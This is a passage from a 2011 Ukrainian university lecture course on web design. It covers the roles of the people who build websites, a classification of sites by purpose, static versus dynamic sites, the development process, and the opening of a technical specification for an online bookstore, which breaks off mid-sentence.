1

Курс лекцій з дисципліни «Web-проектування» для студентів

спеціальності 7.080402 – «інформаційні технології проектування»/ Уклад.:

О.П. Цурін. – К.: НТУУ «КПІ», 2011 р. –с.

Навчальне видання

Курс лекцій

з дисципліни «Web-проектування»

для студентів спеціальності 7.080402 – «інформаційні технології

проектування»

Укладач: Цурін Олег Пилипович, канд. техн. наук, доцент

Відповідальний редактор Цурін Олег Пилипович, канд. техн.

наук, доцент

Рецензенти: В.М. Подладчиков, доктор техн. наук, професор

П.В. Кучернюк, канд. техн. наук, доцент

Редакція викладача

2

Зміст

ВСТУП (основні поняття Web-проектування) 4

В.1. Різниця між Web-дизайном та Web-проектуванням 4

В.2. Питання, що входять до Web-проектування 7

1. 1 КЛАСИФІКАЦІЯ Web-САЙТІВ 9

1.1 Класифікація по призначенню 9

1.2 Класифікація по технологіях, що використовуються 16

2 МОДЕЛІ ТА ЗАСОБИ МОДЕЛЮВАННЯ WEB САЙТІВ 20

2.1. Модель та моделювання роботи з Web-сайтом: 20

2.2 Імітаційне моделювання 22

3 СТРУКТУРА ПРОЦЕСУ РОЗРОБКИ WEB -САЙТІВ та WEB –

ДОДАТКІВ 26

3.1.Структура процесу розробки 26

3.2. Технічне завдання на розробку 28

4 ЕРГОНОМІЧНІ ОБМЕЖЕННЯ ТА РЕКОМЕНДАЦІЇ ПРИ WEB –

ДИЗАЙНІ 32

4.1. Обмеження на кількість елементів керування 32

4.2 Розташування інформації 34

4.3. Інформаційне наповнення 36

4.4. Графічна та текстова інформація 37

4.5. Часові обмеження при роботі з Web-сайтами та Web-додатками 38

4.6 Вплив кольору 40

5 МЕТОДИ РОЗРОБКИ 43

5.1 Використання HTML та програмних систем для розробки 43

5.2 Динамічні Web-сайти та системи управління Web-контентом. 45

5.3 Характеристики сучасних CMS 52

6 РЕЄСТРАЦІЯ ТА РОЗКРУЧУВАННЯ WEB -САЙТІВ У СВІТОВІЙ

МЕРЕЖІ 57

3

6.1.Підготовка до реєстрації на пошукових системах і каталогах 57

6.2. Індексація Web-сайту 67

6.3 Основні параметри сайтів, які видають пошукові системи 73

7 ПОНЯТТЯ РЕЙТИНГУ ТА РЕЙТИНГ WEB-САЙТІВ 76

7.1 Вихідні дані та їх збирання 76

7.2 Експертні оцінки та їх підрахунок 77

7.3 Використання даних з пошукових систем 79

7.4 Сучасні методи побудови рейтингу ВНЗ (Webometrics та інші) 82

8. ВРАЗЛИВОСТІ WEB-САЙТІВ ТП WEB-СЕРВЕРІВ 91

8.1 Вразливості програмного забезпечення та Вразливості

конфігурації 92

8.2 Класифікація вразливостей і атак 95

8.3 Статистика вразливостей Web-додатків 97

8.4 Аутентифікація,Авторизація та Атаки на клієнтів 106

8.5 Виконання коду (Command Execution), Розголошення інформації

(Information Disclosure) 119

8.6 Логічні атаки (Logical Attacks), 136

СПИСОК РЕКОМЕНДОВАНОЇ ЛІТЕРАТУРИ 188

4

ОСНОВНІ ПОНЯТТЯ WEB-ПРОЕКТУВАННЯ

В1 Різниця між Web-дизайном та Web-проектуванням

В багатьох джерелах та побуті вважається, що розробниками Web-сайтів є

Web-дизайнери. Але не складно показати, що Web-дизайнер це є один з

розробників Web-сайтів. «Web- дизайн (від англ. Web design) згідно з

Векіпедією (Вільна енціклопедія) є — галузь веб-розробки и різновидність

дизайна, в задачі якого входить проектування веб-інтерфейсів

користувачів для сайтів чи веб-додатків. Веб-дизайнери проектують

логічну структуру веб-сторінок, знаходять найбільш зручні рішення

надання інформації, а також займаються художнім оформленням веб-

проекта.» У результаті поєднання двох галузей людської діяльності гарний

веб-дизайнер повинен бути знайомий з останніми веб-технологіями і мати

відповідні художні якості.

Це визначення має суттєві недоліки.

По-перше, нема чіткого визначення місця Web-дизайнера у розробці

та по дальшому супроводженні сайтів. Супроводження для сайтів це такий

же важливий етап як і створення. Сайту без інформаційного наповнення не

існує, а його дає замовник.

По-друге, логічну структуру сайту, як і його інформаційне

наповнення, теж задає замовник.

По-третьє, подальше існування сайту, його розвиток, його

супроводження теж залежать не тільки від Веб-дизайнера.

І, четверте, сайт може мати певні вразливості (іноді вони мають

назву - "дірки") і їх наявність залежить від кваліфікації Веб-дизайнера, а

точніше від сумісної роботи Веб-дизайнера та Веб-програміста.

5

Фактично у розробці сайту приймають чи повинні приймати участь

декілька спеціалістів різних фахів.

1. Замовник, який володіє інформацією, що розміщується на сайті. Який

вміє структурувати інформацію, виділяти найбільш важливу, зробити її

лінгвістичну перевірку чи доручити зробити цю перевірку відповідним

фахівцям, виділити інформацію, що буде поновлюватись, визначити

засоби online та offline зв'язку. І цей перелік може у кожному

конкретному випадку бути продовжений.

2. Web-дизайнер функції якого в основному співпадають з наданим у

Вікіпедії визначенням. Але його треба розглядати як координатора робіт

по створенню сайта. Він повинен опікуватися і про подальше існування

розробленого сайту.

3. Web-програміст. Його роль все збільшується в процесі розвитку Web-

технологій. Якщо на початку існування Web-сайтів його функції

зосереджувались на розробці скриптів, які розширювали можливості

сайтів. При технологіях, коли генерація сторінок виконується на боці

сервера, функції Web-програміста при розробці Web-сайта вважаються

основними. До речі, він є і основним джерелом наявності вразливостей на

сайті, і тим, хто їх може прибирати;

4. Ще одним спеціалістом, який може бути залучений до роботи над

Web-сайтом, є Web-художник. Часто без спеціальної освіти, та таланту

художника знайти художні рішення не вдається.

5. Якщо сайт потужній, а вміст (контент) збирається з багатьох джерел,

керує проектом Менеджер проекту.

Для розробки Web-сайту на замовлення ідеальним було би

об’єднання перших трьох спеціалістів в одній особі. Фактично це не

можливо і тому йдуть, по-перше, на використання попередньо

розроблених шаблонів (щоб зменшити необхідність у художниках), по-

6

друге, на використання розроблених плогінів (щоб зменшити необхідність

у програмістах). Але розробка Web-додатків (“Web-приложений”-

російською мовою) виконується Web-програмістами. Складності

полягають і в тому, що Web-дизайнер це напівтехнічна професія, а Web-

програміст – технічна. Якщо розглянути глибше, то і програміст має в собі

декілька рівнів (Ф.Брукс “Мифический человеко-месяц или как

разрабатываются программные системы“). Ці рівні треба враховувати і при

підготовці програмістів у ВНЗ. Хоча є крилата фраза: «Навчити

програмуванню не можливо, а навчитись можна». Ця фраза підкреслює

практичний бік цієї професії де в основі лежить велика самостійна робота.

Виділю 4 категорії програмістів, яки визначив у своїй роботі Брукс. 1.-

«Ідеолог» це той, хто може генерувати ідеї вирішення задачі (програміст

він середній, може лише перевірити свої ідеї, на тій мові програмування,

що знає; 2- «Алгоритміст». Його задача перейти від ідеї до алгоритмів.

Знання програмування теж середнє. 3-«Кодувальник». Чудово володіє

мовою програмування. По алгоритмам створює програмні реалізації; 4-

«Тестер» . Дуже важливий ланцює, що знає методи та засоби тестування

програмних рішень. Web-програміст має все більше значення при

розробці Web-сайтів та Web-додатків. Якщо Web-дизайнеру ще іноді

вдається засвоїти програмування з боку клієнта (звичайно JavaScript), то

серверні додатки створюються професійними програмістами

(програмування на мовах РНР і це нижній рівень, а дійсно професійні

програмісти працюють на мовах С++ та Java ). В деяких публікаціях є

висловлювання, що сучасний сайт це програмний продукт. Якщо сайт і

звичайний та простий, але вимагає засоби спілкування, то вони

створюються програмістами. До засобів спілкування чи активних

компанентів відносяться форми, гостьові кгниги, форуми та інше подібне.

Можна взяти стандартну розробку, але фільтрацію інформації для

7

більшості активних компанентів треба робити. Обумовлено це багатьма

причинами і в основному пов'язаними з шумом, який генерує користувач-

нецензурна лексіка, просте клацання, образи та інше.

В2 Питання, що входять до Web-проектування

Web-проектування це процес, який включає:

- створення та-чи узгодження Технічного завдання;

- розробку Web-сайту (додатку);

- SEO (оптимізація сайту, формування мета тегів та robots.txt);

- Реєстрація в пошукових системах, каталогах, обмін банерами

(просування сайту);

- Аналіз рейтингу сайта;

- Сканування на вразливості та їх прибирання;

- Супроводження сайту та оцінка якості супроводження.

В Вузах Росії цей курс часто має назву «сайтостроение».

1. КЛАСИФІКАЦІЯ WEB-САЙТІВ

InterNet – це великий смітник

Рей Брейдбері (відомий у світі фантаст)

Важливість і складнощі задач класифікації. На цей час в InterNet понад

280 млн. Web-сайтів. Кількість їх постійно зростає. Звідси і збільшення

ентропії і реальність слів Рея Брейдбері. Будь-яка класифікація при такій

кількості Web- сайтів буде умовною, але хоча б 90% сайтів вона повинна

охоплювати. При цьому рішення про створення чи замовлення нового

сайту бажано вести на основі класифікації сайтів. Критерії класифікації

можуть бути різні, але основний – це призначення сайту.

8

Успішність нового проекту З’являються сотні нових проектів, але тільки

деякі з них є успішними. Успішність залежить від багатьох факторів, і в

першу чергу від мети та задач проекту, ідей закладених у реалізацію,

подальшу підтримку проекту, фінансового забезпечення проекту.

1.1 Класифікація по призначенню

Сайт-візитка . Ці сайти охоплюють дуже широку множність існуючих

Web-сайтів Це можуть бути і сайти з декількох сторінок, і достатньо

розгалужені сайти із засобами online та offline зв’язку, з форумами та

гостьовими книгами. Web сайт-візитка використовується навчальними

закладами, підприємствами, організаціями та приватними особами.

Звичайно простий сайт візитка складається з декількох сторінок і в

залежності від призначення має певні розділи. Можна надати деякі класи

цих сайтів. Особисті сайти і в залежності від професійної діяльності особи

вони можуть мати подібні розділи. Наприклад, Web сайти викладачів з

такими розділами як: біографічні дані, навчальна та наукова діяльність,

виховна діяльність, методичний матеріал, а далі можуть бути розділи, які

виводять з класу “Особисті сайти”- спеціалізовані форуми по дисциплінам,

об’яви на сайти навчальних груп та інше. Аналогічні, але значно об'ємні,

Web сайти підрозділів Вищих Навчальних Закладів (ВНЗ) з такими

розділами як: історія, педагогічний склад, навчання, наука, студентське

життя з багатьма підрозділами, інформація для абітурієнтів та інше. Для

ВНЗ до деяких видів інформації можуть бути сформульовані певні вимоги.

Клас особистих сайтів може бути розглянуто і для компаній, які бажають

розмістити інформацію про себе і тоді можуть бути розділи: «Про

компанію», «Продукція чи послуги», «Прайс-листи», «Контактна

інформація». Дизайн цих сайтів надзвичайно різний. Від простого до

розмальованого та з використанням анімованих малюнків.

9

Зараз у більшості випадків сайти візитки з багатьма додатковими

можливостями робляться блогами, де користувач може ввести, змінити та

відправити інформацію. Так більшість викладачів кафедри СП ІПСА

мають свої блоги, наприклад, блог проф.. А.І. Петренко

http://telef.kpi.ua/teacher/blog/petrenko , блог доц. О.П. Цуріна

http://telef.kpi.ua/teacher/blog/tsoorin

Персональний проект – особистий проект, тематика дуже різнорідна,

оформлюється в будь-якому стилі, що розкриває зміст сайту. Часто ці

сайти створюються особами, для яких тематика сайту є їх хобі. Ці сайти

близькі до сайтів візиток, Але орієнтовані на певне інформаційне

наповнення. .

Контент-проект чи спеціалізований інформаційний Web—сайт.

Звичайно це досить великий віртуальний масив інформації. Це може бути

інформація по одній тематиці чи по різним, може бути багато тематичних

розділів, чи навіть декілька самостійних проектів. Створюються

інформаційні Web-сайти таким чином щоб для користувача це було

основним джерелом інформації і нагадувало енциклопедію чи

спеціалізований журнал по тематиці Web-сайту. Суттєвою різницею є

наявність гіперпосилань на Web-ресурси, що створює зручну роботу

користувача з інформаційним сайтом. Ці проекти дуже часто пов’язані з

комерційними проектами, коли користувач проекту перетворюється у

покупця, іноді вони можуть бути і розважальними чи ігровими порталами,

а також виконувати освітянські функції. Всі знайомі з такими проектами.

Зараз без захисту від вірусів працювати з комп’ютером не можливо

(особливо під WINDOWS ). Бажання отримати антивіруси безкоштовно

приводить до відповідних Web-сайтів, наприклад сайтам Avast чи Avista.

Корпоративний іміджевий web сайт (портал) – він необхідний фірмам,

компаніям, організаціям усіх форм власності для забезпечення іміджевої

10

присутності їх у мережі InterNet ; сайт призначено для надання

деталізованої інформації про фірму, організацію, компанію та інше. Зміст

сайту пов’язано з професійною діяльністю. Так для сайту ВНЗ це

інформаційне обслуговування абітурієнтів, студентів, викладачів,

співробітників, випускників і просто відвідувачів цього сайту. Включає

такий портал такі розділи як історія, події, навчання, наука, видання, вихід

до бібліотеки та інше. З активних компонентів використовують гостьові

книги, форми, спеціалізовані форуми, чати та інше. З графічних засобів

широко використовується текст з графічними ілюстраціями, фото галереї,

мультимедійні засоби та інше. Звичайно активна робота ведеться з

абітурієнтами – надаються презентації кафедр, коментуються дні

відкритих дверей, ведеться супроводження приймальної комісії та інше.

Коли корпоративний іміджевий web сайт використовується для компаній

надається детальна інформація про неї, історія створення , торгова марка,

довідки про послуги та товари, сайт звичайно має стрічку новин, функцію

RSS, публікації про торгові акції, каталоги продукції та багато іншого. При

оформленні

часто використовуються нестандартні ідеї, обов’язково дається логотип

фірми, інформація про товари та послуги надається з широким

використанням графіки та анімації. Звичайно ці сайти яскраві та гарно

оформлені.

Корпоративний web-портал. Часто його основна функція є реалізація

автоматизації внутрішнього документообігу, визначення показників

компанії, аналіз виробництва та продажу, управління персоналом та

іншого. Такий Web-сайт може мати функції обміну інформацією поміж

підрозділами, що можуть бути віддаленими. Більшість інформації

корпоративного Web-порталу є інформацією для службового використання

і такий сайт повинен мати засоби обмеження доступу до інформації.

11

Корпоративний сайт є сучасним засобом організації роботи фірми. Дизайн

такого Web-сайту звичайно досить простий і відповідає фірмового стилю.

В більшості випадків такий сайт має функції CMS і дозволяє певному

рангу співробітників вводити та змінювати інформацію своїх розділів.

Інтернет, будучи інструментом ведення бізнесу, суттєво підвищує

швидкість і динаміку взаємин бізнес-партнерів при правильному

використанні цього інструменту. У міру об'єднання життя реального

підприємства з Web, проблема управління контентом Web-сайту буде

стояти все більш гостро. В основі будь-якого Web-сайту є його

інфраструктура та інформаційне наповнення, розумне управління якими є

першочерговим завданням для досягнення ефективності.

Існують досить коштовні розробки провідних фірм. Прикладом є Adobe

Acrobat Connect - програмне забезпечення для веб-конференцій, яке

дозволяє окремим особам і малим підприємствам миттєво спілкуватися і

співпрацювати через простий у використанні онлайн-доступ. Adobe

Acrobat Connect є частиною сімейства Adobe.Adobe Acrobat Connect

складається з набору модулів так

Adobe Connect Pro Meeting - Засіб організації нарад та семінарів по мережі

в реальному часі. Дозволяє користувачам проводити презентації,

обмінюватися файлами, потоковим аудіо, відео, а також служить засобом

для організації багатокористувацьких відео конференцій. Ви можете

зберігати вже створені віртуальні переговорні кімнати і їх вміст для

подальшого швидкого доступу до них - така можливість значно скорочує

час підготовки до семінарів, переговорів та проведення презентацій.

Сайти, а точніше програмні Web-системи для дистанційного навчання

Одним з перших був WebCT (), але найбільшу популярність отримав

MOODLE . Ці системи мають три типи користувачів- гість, студент

(учень), викладач. Кожний з них має свої права. Як і всі CMS є реєстрація

12

нових відвідувачів з підтвердженням на особистий E-mail , викладач може

використовувати Візівіг для введення своїх лекцій, вставляти різні види

тестів, на кожний курс лекцій уставлено форум і багато інших

можливостей,

Adobe Connect Pro Training - Засіб, що дозволяє створювати, управляти,

проводити і відстежувати курси дистанційного навчання. Дозволяє

розробляти навчальні програми, які можуть поєднувати в собі як

індивідуальні навчальні плани на основі курсів, створених за допомогою

Adobe Presenter, так і матеріали сторонніх виробників, і інтерактивне

навчання під керівництвом викладача.

Adobe Connect Pro Events - Засіб управління життєвим циклом всіх подій,

що відносяться до участі у зустрічах та тренінгах, таких як оцінка учнів,

реєстрація на курси, повідомлення та звітність.

InterNet – магазин. Має багато різних назв (Мережевий магазин,

Електронний магазин, Internet shop, E-shop та інше). Це інтерактивні

Web—сайти, що рекламують та продають товари чи послуги. Ці сайти

приймають замовлення на покупку, можуть надавати рекомендації при

виборі товару (послуги), рекомендують чи визначають методи та засоби

оплати, визначають доставку товару . Звичайно ці сайти можуть

рекомендувати де знайти товар, а якщо його нема, то надають інформацію,

коли він буде. Ці сайти пропонують користувачам варіанти розрахунку,

вони видають рахунок на оплату і цей рахунок є підтвердженням

замовлення.

Адміністратор чи менеджер магазину звичайно організує:

- доставку товару;

- контролює розрахунки.

13

Згідно з правилами маркетингу в основі магазинів лежить номенклатура

товарів, їх якість та ціна і швидкість та культура обслуговування.

Прикладом найбільш успішного у світі Web-сайту магазину є

www.amazon.com спершу це був магазин по продажу книжок, а зараз

магазин з широким асортиментом товарів.

Гральні портали – звичайно це досить складні розважальні інтерактивні

проекти, якщо ігри цікаві, то такий портал має значну кількість

відвідувань. Зараз прості ігри в основному використовуються в мобільних

телефонах, а потужні ігрові портали в основному впроваджують

колективні ігри з віртуальною реальністю. Ці проекти використовують

сучасні досягнення у комп’ютерній графіці, сучасні технічні засоби,

вимагають значних обчислювальних ресурсів.

Тематичні форуми В InterNet досить багато різних тематичних форумів і

звичайно зібрання людей за інтересами. У багатьох випадках це зібрання

по хобі. Ці сайти звичайно гарно оформлені і мають стабільне

відвідування. Багато з цих форумів існують вже більше 10 років і можна

прогнозувати їм ще довге життя. Одним з прикладів є Військово історичні

форуми ().

Місця віртуальних зустрічей Часто їх називають соціальні мережі.

З’являються вони досить часто, але найбільш пулярними є міста зустрічей

пов’язаних з ностальгією. Популярним на теринах колишнього СРСР є

портал “Однокласники” , а у світі Twitter та Fasebooк. При цьому

недоліком Twitter є обмеження на довжину повідомлень. До речі, Fasebooк

побудовано з використанням блогів, що і вивело ,блоговий CMS WORD

Press на перше місто по популярності.

Пошукові портали Це найбільш потужні InterNet ресурси. Зараз у світі

найбільш популярними є Google, Yahoo, BING і Російські: Яндекс та

14

Рамблер. Недоліком всіх пошукових систем є значна ентропія вхідних

даних, якими є вміст Інтернету. Вихід з цього становища має популярний

напрямок створення семантичних Web-додатків. Пошукові портали мають

ще багато додаткових функцій (індексація та оцінка сайтів по певним

параметрам, перевнихірка сайтів, служба електронної пошти, перекладачі,

створення поштових скриньок, засоби створення особистих сайтів, функції

створення навчальних засобів та інше). Основні недоліки пошукових

порталів пов’язано зі значною ентропією і при пошуку отримується значна

кількість не потрібної інформації.

Flash -сайти. Технологія флеш (flash) дозволяє створювати дуже красиві,

інтерактивні, зі звуком та анімацією, сайти, які виглядають на порядок

ефектніше, ніж звичайні html-сайти. Однак складність і трудомісткість їх

виготовлення, а також те, що сторінки, створені на флеш, мають, як

правило, велику вагу і довго завантажуються, що відлякує частина

користувачів, призводить до того, що флеш-сайти не отримали поки надто

широкого розповсюдження.

1.2 Класифікація сайтів по технологіях, що використовуються

Всі сайти в мережі можна розділити на дві великі групи: статичні і

динамічні сайти. З точки зору відвідувача сайту часто не важливо, на якій

сторінці він знаходиться, статичній чи динамічній, іноді навіть важко

точно це визначити. Розглянемо цей поділ з точки зору розробника -

творця сайту.

Статичний сайт.

Статична сторінка - сторінку, яка цілком зберігається на сервері і

показується відвідувачу у своєму незмінному вигляді (слід врахувати, що

статична сторінка може містити деякі змінні елементи, наприклад банери,

проте вона все одно залишається статичної).

15

Припустимо, тепер вона зберігається у файлі "Page.html" Якщо ви

відкриєте її за допомогою браузера, то побачите все наповнення сторінки.

Ось приблизно в такому вигляді (як при збереженні на локальний

комп'ютер) статичні сторінки зберігаються на сервері, який лише видає їх

відвідувачеві.

Статичний сайт - це сайт більшість або всі сторінки якого є статичними.

Переваги статичних сайтів

Переваги систем на базі мови HTML:

1. Легко змінити зовнішній вигляд будь-якої конкретної сторінки, не

вплинувши на вигляд інших сторінок.

2. Нескладно додати на сайт нову сторінку, скопіювавши і виправивши

файл з існуючої сторінки.

3. Людині, що займається підтримкою сайту, достатньо знати лише мову

HTML.

4. Сайт буде працювати на будь-якому сервері хостингу, навіть з дуже

обмеженими можливостями.

5. Сайт можна переглядати локально, не використовуючи додаткове

програмне забезпечення. Веб-майстру зручно робити сторінки, не

виходячи в Інтернет.

6. Мала кількість програмних компонентів дуже утруднює злом такої

системи.

Недоліки статичних сайтів

1. Складно внести зміни в структуру і зовнішній вигляд сайту. Наприклад,

якщо треба змінити меню сайту, логотип або структуру сторінок, то для

цього необхідно змінити вміст усіх сторінок, оскільки HTML-код цих

елементів продубльований на кожній сторінці.

2. Система не гарантує єдиний стиль сторінок сайту - кожна сторінка

фактично створюється заново і будь-яка помилка при зміні файлів, що

16

містять сторінки, призводить до того, що різні сторінки сайту виглядають

по-різному.

3. Треба розробляти чи знаходити програмні модулі для реалізації

активних компонентів ( коментарі та відгуки користувачів, голосування,

форум, чат та інше).

4. Досить складно забезпечити розділення прав доступу до вмісту сайту.

Динамічний сайт.

Динамічна сторінка - сторінка, яка формується сервером з декількох

частин або отримується шляхом внесення або зміни даних у сторінку.

Розглянемо процес генерації динамічної сторінки докладніше.

Якщо статична сторінка не зазнає практично ніяких змін і потрапляє на

екран до відвідувача у своєму "первозданному" вигляді, то динамічні

сторінки, у вигляді, які їх бачить людина, на сервері не існує. Вона

збирається кількома різними способами з даних, що зберігаються на

сервері, і лише після цього показується відвідувачеві.

Методи збирання динамічних сторінок:

1) Першим варіантом може бути об'єднання декількох (двох і більше)

окремих частин в одну сторінку - це найпростіший спосіб генерації.

2) Другим варіантом є заповнення шаблонної сторінки будь-якою

інформацією, що зберігається окремо або надається у результаті роботи

алгоритму (наприклад, у результаті обчислень).

3) Третім, і, мабуть, найпоширенішим варіантом, є поєднання перших двох

у всіляких варіаціях, тобто сторінка збирається з декількох шматочків, в

які при цьому вносяться різні зміни.

Динамічний сайт - сайт, в якому більшість або всі сторінки якого

створюються динамічно.

Переваги динамічних сайтів.

17

InterNet почав розвиватися зі статичних сторінок, пройшов деякий час і

тепер вже більшість сайтів в InterNet динамічні. Розглянемо, які переваги і

недоліки мають динамічні сайти в порівнянні зі статичними.

З появою мов програмування, що виконуються на стороні сервера,

з'явилася можливість вносити зміни в дані, що відправляються

відвідувачеві.

І це дало наступне:

1) Розділення інформації та дизайну.

2) Спрощення модифікації та оновлення сторінок.

3) Можливість змінювати контент, реагуючи на дії відвідувача.

Використання динамічних сторінок дозволяє зберігати якийсь шаблон

дизайну, в який, в залежності від сторінки, на яку зайшов відвідувач,

розміщується необхідне наповнення. Такий варіант дуже зручний, адже

для всього сайту створюється один або кілька шаблонів, і всі зміни

дизайну, які потрібно зробити на сайті, виконуються тільки з ними.

З точки зору організації роботи і розподілу праці, варіант створення сайту

на основі шаблонів практично ідеальний. Людина, яка відповідальна за

дизайн сайту не зможе втрутитися в процес наповнення сторінок

контентом, і за всі недоліки в дизайні буде нести відповідальність тільки

він. І навпаки, той, хто займається інформаційним наповненням сайту, не

зможе порушити дизайн сайту. Кожен займається своєю справою, не

заважаючи іншим. Це прискорює роботу і знижує витрати.

Розділення інформації та дизайну на сайті дозволяє прискорити

процес оновлення і наповнення сайту, тому що не вимагає від людей, що

виконують ці операції, знань в областях html-розмітки, графіки і т.д. Тобто

можна навіть підготувати дизайн сайту (замовити у фірми, яка надає такі

послуги), а потім робити наповнення сайту власними силами, не

витрачаючи кошти на постійне залучення сторонніх або включення у свій

18

штат фахівців з дизайну, що треба було б робити при статичній організації

сайту. Та й часові витрати на оновлення значно скорочуються.

Третя особливість дало поштовх розвитку InterNet. Вона позначилася

безпосередньо на користувачах. Тільки завдяки їй з’явилася велика

кількість електронних магазинів, віртуальних клубів, інтернет-ігор і т.п.

Тільки можливість змінювати наповнення сайту під конкретного

відвідувача дозволило втілитися в життя цим проектам.

Ще один приклад - це форуми і чати, яких на просторах мережі розвелося

безліч. Всі вони створюються динамічно, без підтримки цієї технології

жоден з них не зміг би існувати. Дошки оголошень, клуби за інтересами,

віртуальні ігри та змагання - нічого цього б не змогли побачити.

Недоліки динамічних сайтів. Першим недоліком є необхідність

використання додаткових програмних засобів для побудови динамічного

сайту. На статичному сайті всі сторінки вже готові, серверу залишається

лише показати їх відвідувачу, а на динамічному сайті необхідно вносити

до них якісь зміни, для цього потрібно відповідні програмні рішення.

Другим недоліком є підвищення вимог до апаратних потужностей

серверних систем. Цей недолік безпосередньо випливає з попереднього,

тому що тепер сервера потрібно ще виконати якусь програму для

модифікації сторінки сайту, а тільки потім видати її відвідувачеві.

Особливо помітною ця проблема стає на сайтах з великою відвідуваністю.

Часто в таких випадках доводиться робити додаткові оптимізації коду для

нормальної роботи сайту. Отже, вартість послуг, з утримання такого сайту,

набагато вища, ніж статичного.

Третім недоліком, що також випливає з першого, є складність

великих структурних змін сайту пов'язаних зі зміною програмного

забезпечення.

19

І четвертий недолік - вразливість таких сайтів значно більша за

рахунок програмного забезпечення, яке використовується

3. СТРУКТУРА ПРОЦЕСУ РОЗРОБКИ Web-САЙТІВ ТА Web-ДОДАТКІВ

3.1 Структура процесу розробки

Проектування Web-сайтів та його розробка може бути наданою у вигляді

структурної схеми, що надано на малюнку

Розглянемо дещо ширше функції замовника та розробників Web-сайту

Замовник є одною з найбільш важливих ланок розробки. Він, по-перше,

вирішує задачу обгрунтування необхідності сайту, по-друге, повинен мати

інформаційне наповнення сайту, пропозиції по його структурі та

графічному оформленню, і що не менш важливе, так це фінансові ресурси

на розробку та супроводження сайту. Замовник це ланцюг розробки, який

приймає чи повинен приймати участь майже в усіх етапах розробки сайту.

Він визначає і назви розділів, і можливе скорочення назв, і першорядні і

другорядні розділи та інше. Якість сайту теж суттєво залежить від

замовника. Сайт не повноцінний, якщо є не повним інформаційне

наповнення. Сайт вмирає, якщо він не супроводжується, а ця функція

звичайно лягає на замовника та його спеціалістів. Фінансує і контролює

роботу Web-майстра замовник.

Форма та методи передачі інформації від замовника до розробників

сайту може бути різною, але завжди стандартизованою. Так зважаючи на

ієрархічну графову модель сайту доцільно використовувати файлову

передачу інформації, що відноситься до кожної "Вершини виконання дій"

При цьому номера вершин можуть співпадати з іменами файлів. Замовник

20

може використовувати різні текстові процесори (але більшість буде

використовувати WORD, а це при створенні Web-сторінок накладає деякі

обмеження і додаткові дії).

Методи та програмні засоби розробки можуть бути різними і їх буде

розглянуто нижче. Але треба лише відзначити, що в основному це досить

складні програмні засоби і сучасні Web-сайти це не прості HTML, які були

на початку створення Web-сайтів.

Як і при розробці будь якого програмного продукту після його

створення йде етап дослідної експлуатації при виконанні якого

виправляються знайдені помилки. Помилки можуть бути різні: від

граматичних помилок у тексті чи розміру та орієнтації малюнків до

помилок у навігації.

Крім звичайної семантичної інформації на сайт записується

службова інформація пов’язана з подальшим існуванням та роботою Web-

сайта. До цієї інформації відносяться Мета тегі та robots.txt Їх форма та

методи запису надано у наступних розділах. Призначено їх для

підвищення популярності розробленого Web-сайта у мережі InterNet.

Перед запуском в експлуатацію треба вирішити задачу вибору

хостінгу (розміщення сайту) та вибору його ІР адреси. Ці послуги надають

багато різних фірм. Рекомендації по вибору хостінгу можуть бути

пов’язано з «сиром та мишоловкою», а при виборі ІР адреси задавайте ту

частину, яка відноситься до сайту так, щоб вона була пов’язана з

призначенням сайта, наприклад, журнал «Технологія і техніка друкарства»

має адресу www.druk.kpi.ua з назвою журнала пов’язано «druk».

Після встановлення сайту йде наступний етап – реєстрація сайту у

пошукових системах. Опис цього етапу надано у наступних розділах.

Якщо сайт планується достатньо довге існування, то обов’язок розробника

підготувати у Замовника контент менеджера. Тобто передати права та

21

навчити спеціаліста від замовника, яка буде опікуватись в подальшому

змістом сайта (вводити та редагувати матеріал на сайті).

3.2 Технічне завдання на розробку

Технічне Завдання на розробку сайту інтернет-магазину книг «Читаємо

разом»

1. ЕТАПИ ТА ТЕРМІНИ СТВОРЕННЯ САЙТУ:

Загальний термін робіт по створенню сайту становить Т днів:

Т1 днів - дизайн оригінал-макету, розробка і озвучування флеш-

презентації, верстка статичного шаблону першої та внутрішньої сторінок

сайту

Т2 днів - програмування, підключення адміністраторського модуля,

верстка контенту.

Перелік етапів розробки сайту:

· Розробка концепції сайту, інформаційне проектування, оформлення

· Розробка дизайну сайту.

· Створення працюючого шаблону сайту.

· Програмування та підключення адміністраторського модуля.

· Підготовка, редагування, верстка і налаштування контенту сайту під

пошукові системи.

· Публікація сайту на сервері, тестування, прописка в пошукових системах

і каталогах Yandex, Google і інших.

2. Технологічні вимоги:

2.1. Сайт розробляється під базову роздільчу здатність екрана 800х600 пкс

або 1024x768 пкс (залежно від передбачуваної цільової аудиторії

компанії).

2.2. Коректне відображення браузерами Internet Explorer, Opera.

2.3. Використання фірмових кольорів і логотипу магазину.

22

2.4. Обов'язкова візуальна підтримка дій користувача - «Інтерактив»

(візуальне відображення активних, пасивних посилань; чітке позначення

місцезнаходження користувача). За посиланням з кожної сторінки

завантажується поштова програма (бланк листа для зворотного зв'язку).

2.5. Мета-теги і контент сайту на етапі виготовлення сайту повинні бути

налаштовані для пошукових систем, щоб забезпечити просування сайту за

ключовими словами в пошукових системах Yandex, Google.

3. Структура та опис сайту:

3.1. Головна сторінка:

· Містить графічну частину, основну навігацію, а також тематичну область

для того, щоб відвідувач сайту з першої сторінки мав можливість отримати

загальну інформацію про магазин, а також ознайомитися з останніми

надходженнями магазину.

· Тематична область першої сторінки ділиться на розділи:

- «Про магазин» - містить коротку інформацію про магазин.

- «Каталог» - перелік всіх жанрів творів:

· Назва розділу каталогу

· Маленька картинка

· Список книг, які є в розділі каталогу.

3.2. Графічна оболонка внутрішніх сторінок (спільна для всіх підрозділів):

· Графічна шапка

· Навігаційне меню

· З правого боку сторінки відображається навігаційна панель у текстовому

вигляді, Copyright, контактний e-mail і посилання на каталог книг.

3.3. Опис розділів сайту:

Сайт ділиться на 2 групи навігації:

1. Загальна інформація.

2. Каталог

23

Загальна інформація:

Про магазині - текст (інформація про магазин і послуги, що надаються)

· Контакти - текст з контактною інформацією, форма для зворотного

зв'язку

· Новинки - список у форматі:

Дата

Перелік нових книг

Короткий зміст книги

Пошук по сайту - форма пошуку

· Авторизація (для зареєстрованих користувачів)

E-mail

Пароль

· Кошик (таблиця з полями):

Номер книги в кошику

Назва книги (з посиланням на цей товар в БД каталогу)

Ціна

Кількість (з можливістю поміняти - за замовчуванням 1)

Можливість поставити галочку напроти обраного товару та забрати його з

кошика

Загальна вартість замовлення

За посиланням «Замовити» користувач переходить на сторінку, де в

таблиці відображаються всі дані його замовлення (і його особисті дані), під

таблицею 2 кнопки «Підтвердити замовлення» і «Повернутися до кошику».

При натисканні на кнопку «Підтвердити замовлення», вміст «Кошика» йде

